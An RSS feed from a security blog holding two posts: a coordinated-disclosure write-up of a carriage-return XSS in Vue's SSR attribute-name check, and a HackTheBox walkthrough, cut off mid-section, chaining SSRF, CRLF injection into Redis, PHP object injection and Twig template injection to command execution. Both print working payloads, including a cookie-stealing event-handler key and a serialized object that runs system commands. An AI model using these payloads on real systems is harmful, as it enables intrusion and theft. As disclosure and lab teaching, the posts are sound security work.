<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>onevilx</title><description>Security Research &amp; CTF Writeups</description><link>https://www.onevilx.tech/</link><language>en</language><item><title>XSS in Vue SSR via a Missing CR</title><link>https://www.onevilx.tech/posts/vue-ssr-xss-missing-cr/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/vue-ssr-xss-missing-cr/</guid><description>How a single character missing from an attribute-name blacklist in Vue&apos;s SSR renderer lets one object key get parsed by real browsers as three separate HTML attributes, including a self-firing event handler.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Advisory:&lt;/strong&gt; &lt;a href=&quot;https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6&quot;&gt;GHSA-g2v6-rqmx-r4w6&lt;/a&gt; — published 31 August 2026&lt;br /&gt;
&lt;strong&gt;Package:&lt;/strong&gt; &lt;a href=&quot;https://www.npmjs.com/package/@vue/server-renderer&quot;&gt;&lt;code&gt;@vue/server-renderer&lt;/code&gt;&lt;/a&gt; (npm, ~13.9M downloads/week)&lt;br /&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;code&gt;3.5.42&lt;/code&gt; (and &lt;code&gt;3.6.0-rc.6&lt;/code&gt;) via &lt;a href=&quot;https://github.com/vuejs/core/pull/15266&quot;&gt;vuejs/core#15266&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Class:&lt;/strong&gt; CWE-79 (Cross-Site Scripting), CWE-116 (Improper Encoding or Escaping of Output)&lt;br /&gt;
&lt;strong&gt;Severity:&lt;/strong&gt; High, 7.2 (CVSS 3.1 — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;)&lt;br /&gt;
&lt;strong&gt;Affected:&lt;/strong&gt; &lt;code&gt;&amp;lt;= 3.5.41&lt;/code&gt; (also checked and reproduced against the &lt;code&gt;3.6.0-rc.2&lt;/code&gt; tag)&lt;br /&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Reported → confirmed same day → fix merged → released in 3.5.42 → advisory published&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;How I got here&lt;/h2&gt;
&lt;p&gt;I started by ruling out what doesn&apos;t apply rather than guessing. Vue is a rendering framework — no database access anywhere in its own code, so SQL injection is a non-starter. RCE is a stretch too; nothing in normal operation executes arbitrary system commands. XSS was the only vulnerability class that actually fits a framework whose entire job is turning data into HTML.&lt;/p&gt;
&lt;p&gt;From there, client-side rendering only ever affects the same browser already running the app&apos;s own JavaScript — not much of a boundary to cross. &lt;code&gt;@vue/server-renderer&lt;/code&gt; is different: its output becomes a real HTTP response body sent to &lt;em&gt;other&lt;/em&gt; people&apos;s browsers. That&apos;s the one place in Vue where a rendering bug has genuine cross-user impact, so that&apos;s where I focused.&lt;/p&gt;
&lt;h2&gt;The asymmetry&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;ssrRenderDynamicAttr()&lt;/code&gt; builds each HTML attribute from an object&apos;s key/value pair — this is what compiled SSR output calls for something like &lt;code&gt;&amp;lt;div v-bind=&quot;userObject&quot;&amp;gt;&lt;/code&gt;. Reading it closely surfaced an asymmetry in how the two sides are treated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export function ssrRenderDynamicAttr(
  key: string,
  value: unknown,
  tag?: string,
): string {
  if (!isRenderableAttrValue(value)) {
    return ``
  }
  const attrKey = ...
  if (isBooleanAttr(attrKey) || ...) {
    return includeBooleanAttr(value) ? ` ${attrKey}` : ``
  } else if (isSSRSafeAttrName(attrKey)) {
    return value === &apos;&apos; ? ` ${attrKey}` : ` ${attrKey}=&quot;${escapeHtml(value)}&quot;`
  } else {
    console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
    return ``
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;strong&gt;value&lt;/strong&gt; always goes through &lt;code&gt;escapeHtml()&lt;/code&gt; — dangerous characters get converted to safe entities, consistently, everywhere in this file. The &lt;strong&gt;name&lt;/strong&gt; only gets tested against a character blacklist in &lt;code&gt;isSSRSafeAttrName()&lt;/code&gt; — no escaping, just pass or get discarded entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const unsafeAttrCharRE = /[&amp;gt;/=&quot;&apos;\u0009\u000a\u000c\u0020]/

export function isSSRSafeAttrName(name: string): boolean {
  if (attrValidationCache.hasOwnProperty(name)) {
    return attrValidationCache[name]
  }
  const isUnsafe = unsafeAttrCharRE.test(name)
  if (isUnsafe) {
    console.error(`unsafe attribute name: ${name}`)
  }
  return (attrValidationCache[name] = !isUnsafe)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A blacklist is only as good as the list itself. That&apos;s where the actual gap was.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/vue-ssr-xss/poc1.png&quot; alt=&quot;A fresh clone of vuejs/core at the reported commit, showing the vulnerable regex on line 36 of packages/shared/src/domAttrConfig.ts and a clean working tree&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The gap&lt;/h2&gt;
&lt;p&gt;That blacklist covers &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;, &lt;code&gt;&apos;&lt;/code&gt;, tab (&lt;code&gt;\t&lt;/code&gt;), line feed (&lt;code&gt;\n&lt;/code&gt;), form feed (&lt;code&gt;\f&lt;/code&gt;), and space. It does not cover &lt;code&gt;\r&lt;/code&gt; — carriage return.&lt;/p&gt;
&lt;p&gt;That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (&quot;preprocessing the input stream,&quot; §13.2.3.5) converts every &lt;code&gt;\r&lt;/code&gt; not followed by &lt;code&gt;\n&lt;/code&gt; into a &lt;code&gt;\n&lt;/code&gt; before the tokenizer even starts. A raw &lt;code&gt;\r&lt;/code&gt; sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser — and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it, before the browser gets to reinterpret it. That&apos;s exactly the gap.&lt;/p&gt;
&lt;h2&gt;Proving it, one step at a time&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Isolate the mechanism.&lt;/strong&gt; A minimal case first — &lt;code&gt;&quot;foo\rbar&quot;&lt;/code&gt; as a key, nothing else unusual — parsed with &lt;code&gt;parse5&lt;/code&gt; (a real, spec-compliant HTML5 parser) to confirm the split happens at all before building anything resembling an exploit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Build the self-triggering payload.&lt;/strong&gt; Escalated to &lt;code&gt;x\rautofocus\ronfocus&lt;/code&gt; against the real, unmodified, published &lt;code&gt;@vue/server-renderer@3.5.41&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=== How a real HTML5 parser (parse5) interprets this ===
Attributes parsed on the &amp;lt;div&amp;gt;:
  &quot;x&quot; = &quot;&quot;
  &quot;autofocus&quot; = &quot;&quot;
  &quot;onfocus&quot; = &quot;alert(document.cookie)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/vue-ssr-xss/poc3.png&quot; alt=&quot;A clean npm install of the published vue@3.5.41 and @vue/server-renderer@3.5.41, the version confirmed at runtime, and parse5 splitting Vue&apos;s single intended attribute name into three separate parsed attributes&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The single attribute name Vue intended to render safely gets parsed as three separate things: an empty &lt;code&gt;x&lt;/code&gt; attribute, a real &lt;code&gt;autofocus&lt;/code&gt; boolean attribute, and a real &lt;code&gt;onfocus=&quot;alert(document.cookie)&quot;&lt;/code&gt; event handler. &lt;code&gt;autofocus&lt;/code&gt; means the element receives focus automatically on page load, which fires the &lt;code&gt;focus&lt;/code&gt; event immediately — no click, no hover, no user interaction of any kind.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Confirm it in a real browser.&lt;/strong&gt; Wrote Vue&apos;s actual, unmodified return value programmatically into a real HTML file — no hand-typed HTML — and opened it. The payload fired on load, with no interaction:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/vue-ssr-xss/poc5.png&quot; alt=&quot;The generated page opening in Chrome and immediately firing the injected alert, with no click or hover&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DevTools confirms the browser genuinely parsed three separate attributes out of what Vue rendered as one name — &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;src&lt;/code&gt;, and a live &lt;code&gt;onerror&lt;/code&gt; handler:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/vue-ssr-xss/poc6.png&quot; alt=&quot;Chrome DevTools showing the img element parsed with x, src and onerror as three distinct attributes&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Ruling out client-side rendering&lt;/h2&gt;
&lt;p&gt;I also checked whether this affects client-side (non-SSR) Vue: it doesn&apos;t. Client-side Vue sets dynamic attributes via the DOM&apos;s &lt;code&gt;setAttribute()&lt;/code&gt; API, which validates the name against the HTML QName grammar and throws a &lt;code&gt;DOMException&lt;/code&gt; for characters like &lt;code&gt;&quot;&lt;/code&gt; — a fundamentally different code path with its own validation. This is specifically and only an SSR issue.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;This requires an application to bind an object whose &lt;em&gt;keys&lt;/em&gt; — not just values — come from a source the developer doesn&apos;t fully control, via &lt;code&gt;v-bind=&quot;object&quot;&lt;/code&gt; or the compiled equivalent. Binding untrusted &lt;strong&gt;values&lt;/strong&gt; into attributes is the standard, everyday Vue pattern, already safely handled by &lt;code&gt;escapeHtml()&lt;/code&gt;. Binding untrusted &lt;strong&gt;keys&lt;/strong&gt; is less universal, but it&apos;s a real, documented, supported Vue feature — and exactly the scenario &lt;code&gt;isSSRSafeAttrName()&lt;/code&gt; exists to defend, which means it was already inside the framework&apos;s own threat model for this file, just not fully closed.&lt;/p&gt;
&lt;p&gt;Realistic shapes this takes: a CMS or form-builder where field/attribute names are configurable by a less-trusted role and rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper fed by a database record, an API response, or a query string parsed into an object.&lt;/p&gt;
&lt;h2&gt;Reporting it&lt;/h2&gt;
&lt;p&gt;Vue&apos;s disclosure policy explicitly rules out &quot;XSS via template expressions&quot; as in scope — I made sure to address that up front in the report itself, since this isn&apos;t that. This isn&apos;t about template &lt;em&gt;source&lt;/em&gt; at all; it&apos;s about ordinary, documented runtime data binding, where the guard that&apos;s supposed to make untrusted data safe for that documented feature had a gap in it.&lt;/p&gt;
&lt;h2&gt;The response&lt;/h2&gt;
&lt;p&gt;Maintainer &lt;strong&gt;edison1105&lt;/strong&gt; confirmed the issue the same day:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Exploitation requires an SSR application to pass an object with attacker-controlled property names through object-form v-bind and render the result to other users... Although this can result in XSS when those prerequisites are met, the vulnerable data flow is narrow, uncommon, and application-specific. We therefore assess the practical severity as moderate and do not believe an embargoed private-fix process is necessary. A public patch is proportionate to the actual exposure…&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No dispute on the framing, no pushback on scope — just a clear, transparent explanation of &lt;em&gt;why&lt;/em&gt; a public (non-embargoed) fix was the right call, which is worth more than a severity number with no context behind it.&lt;/p&gt;
&lt;h2&gt;Reviewing the fix&lt;/h2&gt;
&lt;p&gt;One character added, closing the exact gap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- const unsafeAttrCharRE = /[&amp;gt;/=&quot;&apos;\u0009\u000a\u000c\u0020]/
+ const unsafeAttrCharRE = /[&amp;gt;/=&quot;&apos;\u0009\u000a\u000c\u000d\u0020]/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s now the complete WHATWG &quot;ASCII whitespace&quot; set — tab, line feed, form feed, carriage return, space — checked as a full set instead of enumerated one character short. The PR added a regression test using the exact payload from the report. I independently re-verified the patched regex against the original payload myself before commenting — confirmed rejected, confirmed normal attribute names unaffected.&lt;/p&gt;
&lt;h2&gt;Disclosure timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Day 1&lt;/strong&gt; — Reported, with the &quot;this isn&apos;t template-expression XSS&quot; scope distinction addressed up front, full PoC attached.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Day 2&lt;/strong&gt; — edison1105 confirmed the issue, explained the public-patch reasoning, opened &lt;a href=&quot;https://github.com/vuejs/core/pull/15266&quot;&gt;#15266&lt;/a&gt;. Fix merged to &lt;code&gt;main&lt;/code&gt; the same day. I reviewed and independently verified the patch before it merged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Day 18&lt;/strong&gt; — &lt;code&gt;3.5.42&lt;/code&gt; published to npm carrying the fix; &lt;code&gt;3.6.0-rc.6&lt;/code&gt; followed the next day, so the &lt;code&gt;minor&lt;/code&gt; branch was covered before any stable 3.6 shipped. I re-ran the original payload against the published &lt;code&gt;3.5.42&lt;/code&gt;: the attribute is now dropped entirely, with a &lt;code&gt;Skipped rendering unsafe attribute name&lt;/code&gt; warning. Fix confirmed effective against the real package, not just present in source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Day 22&lt;/strong&gt; — advisory published as &lt;strong&gt;GHSA-g2v6-rqmx-r4w6&lt;/strong&gt;, credited, with the patched version recorded as &lt;code&gt;3.5.42&lt;/code&gt;. The maintainer opted for a GitHub advisory without requesting a CVE. Worth knowing how that propagates: a repository advisory only reaches &lt;code&gt;npm audit&lt;/code&gt; and Dependabot once GitHub&apos;s own review promotes it into the global advisory database, and at the time of writing it hasn&apos;t been promoted yet — so upgrading to &lt;code&gt;3.5.42&lt;/code&gt; is still a deliberate move rather than something a scanner will nag you about. This write-up was explicitly pre-approved once the advisory went public.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A blacklist is only as complete as your cross-reference.&lt;/strong&gt; Vue&apos;s own list looked reasonable in isolation. The gap only showed up by checking it against the actual browser parsing spec, not just trusting the enumeration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escaping and blacklisting are not the same guarantee.&lt;/strong&gt; Values were escaped and safe. Names were only gated — and a gate is exactly as strong as its weakest excluded character.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prove the mechanism before building the exploit.&lt;/strong&gt; Isolating &lt;code&gt;&quot;foo\rbar&quot;&lt;/code&gt; first, before the self-triggering payload, before a real browser confirmation, meant every escalation step had something solid under it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State what you didn&apos;t prove, not just what you did.&lt;/strong&gt; Ruling out client-side rendering — and saying so plainly — made the report easier to trust, not harder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6&quot;&gt;GHSA-g2v6-rqmx-r4w6&lt;/a&gt; — this advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vuejs/core/pull/15266&quot;&gt;vuejs/core#15266&lt;/a&gt; — the fix&lt;/li&gt;
&lt;li&gt;WHATWG HTML Standard §13.2.3.5 — preprocessing the input stream&lt;/li&gt;
&lt;li&gt;CWE-79 — Cross-Site Scripting&lt;/li&gt;
&lt;li&gt;CWE-116 — Improper Encoding or Escaping of Output&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Reported by Youssef Aboukir (onevilx). Thanks to edison1105 for the fast, transparent turnaround.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTB Sitelytic — SSRF to Redis RCE</title><link>https://www.onevilx.tech/posts/sitelytic/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/sitelytic/</guid><description>A beginner-friendly walkthrough of a hard-tier chain: a template-injection bug you can&apos;t reach through the front door, so you smuggle a malicious PHP object into a Redis queue via a CRLF-injected SSRF and let the background worker detonate it into command execution.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; HackTheBox — &lt;em&gt;Sitelytic&lt;/em&gt; (Web, Hard, 1000 pts)&lt;br /&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;HTB{n3w_r0u73_t0_D_r3d1sl4nD_w0rk3r_g3t5_y0u_1n!}&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Given:&lt;/strong&gt; the full Symfony 6.1 source and a live instance&lt;br /&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; run &lt;code&gt;/readflag&lt;/code&gt; (a program that prints the flag, owned by root)&lt;br /&gt;
&lt;strong&gt;Class:&lt;/strong&gt; SSRF + CRLF Injection → PHP Object Injection → Twig Template Injection → Remote Code Execution&lt;br /&gt;
&lt;strong&gt;Audience:&lt;/strong&gt; written to be followed from zero — every prerequisite is explained inline&lt;br /&gt;
&lt;strong&gt;Exploit repo:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/HackTheBox/Sitelytic&quot;&gt;onevilx/Writeups&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;The idea in plain terms&lt;/h2&gt;
&lt;p&gt;Somewhere in this app there is a spot that runs a &lt;strong&gt;template&lt;/strong&gt; built from user input — a classic &quot;template injection&quot; bug that normally means code execution. But the front door to it filters out the exact characters the attack needs, so it looks dead.&lt;/p&gt;
&lt;p&gt;The trick of this challenge is that the same dangerous code can be reached by a &lt;strong&gt;completely different route&lt;/strong&gt;. The app keeps a background job queue in &lt;strong&gt;Redis&lt;/strong&gt; (a fast in-memory database). Jobs are stored as &lt;em&gt;serialized PHP objects&lt;/em&gt;, and when the worker picks one up it rebuilds the object — and rebuilding a malicious object is itself an attack (PHP object injection). Redis is only reachable from inside the server, so I use an &lt;strong&gt;SSRF&lt;/strong&gt; (I trick the server into making a request for me) plus a &lt;strong&gt;header-injection trick&lt;/strong&gt; to write my malicious job straight into the queue. The worker eats it and I get command execution.&lt;/p&gt;
&lt;p&gt;We&apos;ll build it in five moves: find the sink, see why the front door fails, find the back route, get the SSRF to talk to Redis, and fight through the protocol quirks that make it actually land.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Quick glossary (skim now, refer back later):&lt;/strong&gt;
&lt;strong&gt;SSTI (Server-Side Template Injection)&lt;/strong&gt; — a template engine turns a template string into output; if attacker input becomes part of the &lt;em&gt;template&lt;/em&gt; rather than the &lt;em&gt;data&lt;/em&gt;, the attacker&apos;s expressions get executed on the server.
&lt;strong&gt;Serialization / &lt;code&gt;unserialize&lt;/code&gt;&lt;/strong&gt; — turning an object into a string to store it, and back again. In PHP, rebuilding an object can trigger the object&apos;s own methods, which is where the danger is.
&lt;strong&gt;SSRF (Server-Side Request Forgery)&lt;/strong&gt; — you make the &lt;em&gt;server&lt;/em&gt; send an HTTP request of your choosing, often to things you couldn&apos;t reach yourself (like an internal-only service).
&lt;strong&gt;CRLF&lt;/strong&gt; — the two invisible characters &lt;code&gt;\r\n&lt;/code&gt; that separate lines in HTTP and many text protocols. If you can inject them into a value, you can forge extra lines.
&lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt; — running your own commands on the server. The end goal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. The sink: a template built from user input&lt;/h2&gt;
&lt;p&gt;Here is the dangerous code (&lt;code&gt;src/MessageHandler/SubscribeNotificationHandler.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __destruct()
{
    $this-&amp;gt;twig = new \Twig\Environment(new FilesystemLoader(__DIR__ . &apos;/../../templates&apos;));
    $this-&amp;gt;body = $this-&amp;gt;twig-&amp;gt;createTemplate(
        ...&apos;&amp;amp;email=&apos;.$this-&amp;gt;email.&apos;&quot;&amp;gt;&apos;...
    )-&amp;gt;render();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;createTemplate()&lt;/code&gt; compiles a string into a Twig template and runs it. Notice &lt;code&gt;$this-&amp;gt;email&lt;/code&gt; is glued &lt;strong&gt;into the template source itself&lt;/strong&gt;, not passed in as a safe variable. So whatever is in &lt;code&gt;email&lt;/code&gt; is treated as &lt;em&gt;template code&lt;/em&gt; and executed. That&apos;s textbook SSTI. (A &quot;sandbox&quot; that would neuter this exists in the config file &lt;code&gt;services.yaml&lt;/code&gt; — but it&apos;s commented out.)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why is this method called &lt;code&gt;__destruct&lt;/code&gt;?&lt;/strong&gt; In PHP, &lt;code&gt;__destruct()&lt;/code&gt; is a &quot;magic method&quot;: it runs automatically when an object is destroyed (garbage-collected). Remember that — it&apos;s the reason the attack works even when nobody deliberately &quot;calls&quot; anything. Just &lt;em&gt;creating&lt;/em&gt; this object and letting it go is enough to fire the sink.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. Why the front door doesn&apos;t work&lt;/h2&gt;
&lt;p&gt;You can reach that handler through &lt;code&gt;POST /subscribe&lt;/code&gt;, but the email first passes a validator, &lt;code&gt;Assert\Email&lt;/code&gt;. By trying a bunch of addresses against the live site, I can map out exactly which characters it allows:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;local part I tried&lt;/th&gt;
&lt;th&gt;result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{{7*7}}@a.com&lt;/code&gt;, &lt;code&gt;a|b@a.com&lt;/code&gt;, &lt;code&gt;a&apos;b@a.com&lt;/code&gt;, &lt;code&gt;a!#$%&amp;amp;*+/=?^_`{|}~-@a.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200 (accepted)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a(b)@a.com&lt;/code&gt;, &lt;code&gt;a[b]@a.com&lt;/code&gt;, &lt;code&gt;a b@a.com&lt;/code&gt;, &lt;code&gt;a,b@a.com&lt;/code&gt;, &lt;code&gt;a:b@a.com&lt;/code&gt;, &lt;code&gt;&quot;a b&quot;@test.com&lt;/code&gt;, &lt;code&gt;a@localhost&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;401 (rejected)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;That pattern is Symfony&apos;s &quot;HTML5&quot; email mode. Curly braces &lt;code&gt;{}&lt;/code&gt;, pipes &lt;code&gt;|&lt;/code&gt;, and quotes survive — but &lt;strong&gt;parentheses, brackets, spaces, and commas are rejected&lt;/strong&gt;, and a proper domain is required.&lt;/p&gt;
&lt;p&gt;Why does that kill the attack? Twig needs &lt;strong&gt;parentheses&lt;/strong&gt; to call any function or pass any argument — &lt;code&gt;system(&apos;...&apos;)&lt;/code&gt;, &lt;code&gt;map(&apos;system&apos;)&lt;/code&gt;, and so on. Without parentheses, the only Twig you can write is basic tags and no-argument operations, and because this template runs in a bare, stripped-down Twig environment (no Symfony helpers like &lt;code&gt;app&lt;/code&gt; or &lt;code&gt;dump&lt;/code&gt;), there&apos;s nothing to pivot through. So through the front door there is genuinely &lt;strong&gt;no way to reach code execution&lt;/strong&gt;. That dead end is the whole point of the challenge — the intended solution goes &lt;em&gt;around&lt;/em&gt; the validator entirely.&lt;/p&gt;
&lt;h2&gt;3. The back route: a poisoned job in the queue&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;How background jobs work here.&lt;/strong&gt; Slow work (like sending a notification) isn&apos;t done during the web request. Instead the app drops a &quot;message&quot; onto a queue and a separate &lt;strong&gt;worker&lt;/strong&gt; process handles it later. This app&apos;s queue is Redis: &lt;code&gt;MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages&lt;/code&gt;. The messages are stored as &lt;strong&gt;serialized PHP&lt;/strong&gt;, and Symfony&apos;s default decoder does this when the worker reads one:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$envelope = $this-&amp;gt;safelyUnserialize(stripslashes($encodedEnvelope[&apos;body&apos;]));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;unserialize()&lt;/code&gt; is called on whatever bytes are in the queue. And &lt;code&gt;unserialize()&lt;/code&gt; &lt;strong&gt;rebuilds objects&lt;/strong&gt; — including our dangerous &lt;code&gt;SubscribeNotificationHandler&lt;/code&gt;. Here&apos;s the beautiful part: the rebuilt object doesn&apos;t even need to be a valid queue message. The worker constructs it, notices &quot;this isn&apos;t a real Envelope,&quot; throws it away — and when PHP throws it away, the object&apos;s &lt;code&gt;__destruct()&lt;/code&gt; runs, firing the SSTI sink. And because this path never touches &lt;code&gt;Assert\Email&lt;/code&gt;, &lt;strong&gt;parentheses are allowed again&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;So the payload I want sitting in the Redis queue is a serialized object whose &lt;code&gt;email&lt;/code&gt; field is a full Twig expression:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:47:&quot;App\MessageHandler\SubscribeNotificationHandler&quot;:2:{
  s:5:&quot;email&quot;;s:N:&quot;{{[&apos;/readflag &amp;gt; /www/public/static/exports/f1337.txt 2&amp;gt;&amp;amp;1&apos;]|map(&apos;system&apos;)|join(&apos;,&apos;)}}&quot;;
  s:5:&quot;token&quot;;s:1:&quot;x&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read the email value in plain English: &quot;run the command &lt;code&gt;/readflag&lt;/code&gt; and save its output to a file in the site&apos;s public folder.&quot; When the worker rebuilds and discards this object, Twig executes that, and &lt;code&gt;/readflag&lt;/code&gt;&apos;s output — the flag — lands in a web-readable file I can then just download.&lt;/p&gt;
&lt;p&gt;The only problem: Redis only listens on &lt;code&gt;127.0.0.1&lt;/code&gt; (localhost). I can&apos;t connect to it from outside. I need the &lt;em&gt;server&lt;/em&gt; to write to it for me — an SSRF.&lt;/p&gt;
&lt;h2&gt;4. Getting an SSRF to talk to Redis&lt;/h2&gt;
&lt;p&gt;There&apos;s an admin feature that fetches a URL to check if a service is up (&lt;code&gt;src/Service/ServiceChecker.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$parsedHeaders[strtolower(trim($hKey))] = trim($hVal);
...
array_walk($this-&amp;gt;headers, static function(&amp;amp;$v, $k) { $v = $k.&apos;: &apos;.$v; });
$context = stream_context_create([&quot;http&quot; =&amp;gt; [&quot;header&quot; =&amp;gt; implode(&quot;\r\n&quot;, $this-&amp;gt;headers), ...]]);
$response = @file_get_contents($this-&amp;gt;host, false, $context);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two gifts here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The URL scheme check is only &lt;code&gt;preg_match(&quot;/^https?/i&quot;, ...)&lt;/code&gt;, so &lt;code&gt;http://127.0.0.1:6379/&lt;/code&gt; (Redis&apos;s port) passes. That&apos;s the SSRF — I can point the server&apos;s request at internal Redis.&lt;/li&gt;
&lt;li&gt;The header values are only cleaned with &lt;code&gt;trim()&lt;/code&gt;, which strips whitespace from the &lt;strong&gt;ends&lt;/strong&gt; of a string. It does &lt;strong&gt;not&lt;/strong&gt; remove &lt;code&gt;\r\n&lt;/code&gt; from the &lt;strong&gt;middle&lt;/strong&gt;. So if I put a CRLF inside a header value, I forge extra lines into the outgoing request — this is CRLF injection, and it lets me write raw Redis commands into the connection.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Wait — why does writing HTTP headers let me send Redis commands?&lt;/strong&gt; Redis doesn&apos;t speak HTTP; it just reads whatever bytes arrive on the socket, line by line. When the server &quot;makes an HTTP request&quot; to Redis, Redis simply sees a stream of text. If I can control lines in that stream (via CRLF injection), I can make some of those lines be valid Redis commands. This general move — abusing one protocol&apos;s request to smuggle another protocol&apos;s commands — is why SSRF to internal services is so dangerous.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Getting to this feature needs a login, and the credentials &lt;code&gt;admin:admin&lt;/code&gt; are sitting right in &lt;code&gt;migrations/db.sql&lt;/code&gt;. I also confirmed the CRLF injection really works before trusting it: injecting a fake &lt;code&gt;Content-Length: 10&lt;/code&gt; header into a request to the site&apos;s own Apache made the call hang for 20 seconds (Apache waiting for a request body that never came) instead of the normal 0.6 seconds. That stall proved my injected line was landing in the real request.&lt;/p&gt;
&lt;h2&gt;5. The part that actually costs hours: Redis keeps hanging up&lt;/h2&gt;
&lt;p&gt;Early attempts did… nothing. Silent failure. The cause is two security features colliding:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP&apos;s HTTP client always adds its &lt;strong&gt;own&lt;/strong&gt; &lt;code&gt;Host:&lt;/code&gt; line to the request, before any of my headers.&lt;/li&gt;
